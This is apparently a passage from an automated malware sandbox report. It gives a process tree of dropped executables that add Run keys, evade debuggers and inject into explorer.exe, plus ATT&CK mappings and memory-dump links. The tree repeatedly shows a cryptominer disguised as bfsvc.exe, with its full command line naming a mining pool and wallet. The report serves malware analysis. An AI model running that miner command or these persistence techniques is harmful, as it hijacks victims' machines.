        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        28⤵
        
        PID:4088
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        28⤵
        
        PID:1416
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        29⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3608
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        30⤵
        
        PID:1256
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        30⤵
        
        PID:1668
- - C:\Users\Admin\AppData\Roaming\safas2f.exe
    "C:\Users\Admin\AppData\Roaming\safas2f.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    PID:1748
  - - C:\Windows\bfsvc.exe
      C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2308
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      4⤵
      PID:1716
    - - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:812
      - C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        6⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2536
      - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        6⤵
        
        PID:3608
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2980
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        8⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3220
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        8⤵
        
        PID:1368
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2480
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        10⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1032
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        10⤵
        
        PID:2284
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        11⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2996
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        12⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2128
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        12⤵
        
        PID:1704
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        13⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2300
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        14⤵
        
        PID:3052
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        14⤵
        
        PID:1016
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        15⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3824
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        16⤵
        
        PID:3500
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        16⤵
        
        PID:2844
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        17⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1724
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        18⤵
        
        PID:3080
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        18⤵
        
        PID:1160
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        19⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3708
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        20⤵
        
        PID:3524
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        20⤵
        
        PID:4016
- - C:\Users\Admin\AppData\Roaming\whw.exe
    "C:\Users\Admin\AppData\Roaming\whw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4000
- - C:\Users\Admin\AppData\Roaming\e3dwefw.exe
    "C:\Users\Admin\AppData\Roaming\e3dwefw.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:2288
- - C:\Users\Admin\AppData\Roaming\sdfsd.exe
    "C:\Users\Admin\AppData\Roaming\sdfsd.exe"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1444
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1444 -s 980
      4⤵
      Suspicious use of NtCreateProcessExOtherParentProcess
      Program crash
      Suspicious use of AdjustPrivilegeToken
      PID:3104

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/376-174-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/704-151-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/704-149-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/812-289-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/812-287-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/924-146-0x00007FF606240000-0x00007FF6078BE000-memory.dmp

Download

memory/924-145-0x00007FF606240000-0x00007FF6078BE000-memory.dmp

Download

memory/924-144-0x00007FF605970000-0x00007FF605D41000-memory.dmp

Download

memory/1444-249-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-242-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-245-0x0000000001780000-0x00000000017C5000-memory.dmp

Download

memory/1444-250-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

Download

memory/1444-257-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-251-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-253-0x0000000075890000-0x0000000075981000-memory.dmp

Download

memory/1444-252-0x00000000751F0000-0x00000000753B2000-memory.dmp

Download

memory/1444-265-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-240-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-246-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-248-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-259-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-262-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-255-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-254-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-260-0x0000000077C30000-0x0000000077DBE000-memory.dmp

Download

memory/1444-244-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1444-258-0x0000000001260000-0x0000000001678000-memory.dmp

Download

memory/1572-218-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/1716-268-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/1748-261-0x00007FF76E6F0000-0x00007FF76FD8A000-memory.dmp

Download

memory/1748-247-0x00007FF76DF10000-0x00007FF76E2E1000-memory.dmp

Download

memory/1748-256-0x00007FF76E6F0000-0x00007FF76FD8A000-memory.dmp

Download

memory/1836-164-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1840-208-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1912-163-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/2168-136-0x00000000067A0000-0x0000000006C9E000-memory.dmp

Download

memory/2168-126-0x0000000000750000-0x0000000000772000-memory.dmp

Download

memory/2168-129-0x0000000004CE0000-0x0000000004DEA000-memory.dmp

Download

memory/2168-132-0x0000000005080000-0x00000000050CB000-memory.dmp

Download

memory/2168-133-0x0000000005910000-0x0000000005911000-memory.dmp

Download

memory/2168-134-0x00000000060E0000-0x0000000006156000-memory.dmp

Download

memory/2168-135-0x0000000006200000-0x0000000006292000-memory.dmp

Download

memory/2168-128-0x0000000004BB0000-0x0000000004BC2000-memory.dmp

Download

memory/2168-131-0x0000000005030000-0x000000000506E000-memory.dmp

Download

memory/2168-130-0x0000000004C40000-0x0000000004CA6000-memory.dmp

Download

memory/2168-127-0x0000000005110000-0x0000000005716000-memory.dmp

Download

memory/2168-137-0x00000000064C0000-0x00000000064DE000-memory.dmp

Download

memory/2168-125-0x0000000000750000-0x0000000000772000-memory.dmp

Download

memory/2168-138-0x0000000006CA0000-0x0000000006E62000-memory.dmp

Download

memory/2168-139-0x00000000073A0000-0x00000000078CC000-memory.dmp

Download

memory/2168-140-0x0000000006EC0000-0x0000000006F10000-memory.dmp

Download

memory/2288-234-0x0000000000F10000-0x0000000000F18000-memory.dmp

Download

memory/2288-235-0x0000000000F10000-0x0000000000F18000-memory.dmp

Download

memory/2288-175-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2312-213-0x00007FF6F4430000-0x00007FF6F4801000-memory.dmp

Download

memory/2312-212-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/2312-211-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/2400-179-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/2400-180-0x00007FF6F4F40000-0x00007FF6F5311000-memory.dmp

Download

memory/2400-178-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/2480-329-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/2480-328-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/2536-200-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/2536-202-0x00007FF6F4780000-0x00007FF6F4B51000-memory.dmp

Download

memory/2536-201-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/2680-186-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2880-185-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/2944-158-0x00007FF6F4B40000-0x00007FF6F4F11000-memory.dmp

Download

memory/2944-219-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2944-156-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/2944-157-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/2980-306-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/2980-302-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/3260-168-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/3260-169-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/3260-167-0x00007FF6F4EC0000-0x00007FF6F5291000-memory.dmp

Download

memory/3288-197-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/3344-196-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/3500-278-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/3500-276-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/3808-115-0x0000000000740000-0x0000000000856000-memory.dmp

Download

memory/3808-122-0x0000000005680000-0x000000000568A000-memory.dmp

Download

memory/3808-121-0x0000000005240000-0x000000000525E000-memory.dmp

Download

memory/3808-120-0x0000000005230000-0x0000000005231000-memory.dmp

Download

memory/3808-119-0x00000000056A0000-0x0000000005716000-memory.dmp

Download

memory/3808-118-0x0000000005280000-0x0000000005312000-memory.dmp

Download

memory/3808-117-0x0000000005780000-0x0000000005C7E000-memory.dmp

Download

memory/3808-116-0x0000000000740000-0x0000000000856000-memory.dmp

Download

memory/3820-190-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/3820-189-0x00007FF6F5810000-0x00007FF6F6E8E000-memory.dmp

Download

memory/3820-191-0x00007FF6F4EF0000-0x00007FF6F52C1000-memory.dmp

Download

memory/3860-207-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/4000-229-0x0000000005810000-0x0000000005E16000-memory.dmp

Download

memory/4000-227-0x0000000000A70000-0x0000000000A90000-memory.dmp

Download

memory/4000-241-0x0000000005310000-0x000000000535B000-memory.dmp

Download

memory/4000-239-0x00000000052D0000-0x000000000530E000-memory.dmp

Download

memory/4000-233-0x00000000053A0000-0x00000000054AA000-memory.dmp

Download

memory/4000-232-0x0000000005270000-0x0000000005282000-memory.dmp

Download

memory/4000-243-0x0000000005200000-0x0000000005806000-memory.dmp

Download

memory/4000-226-0x0000000000A70000-0x0000000000A90000-memory.dmp

Download

memory/4032-304-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/4032-303-0x00007FF6CCFA0000-0x00007FF6CE63A000-memory.dmp

Download

memory/4076-152-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/4076-147-0x0000000140000000-0x0000000140815000-memory.dmp

Download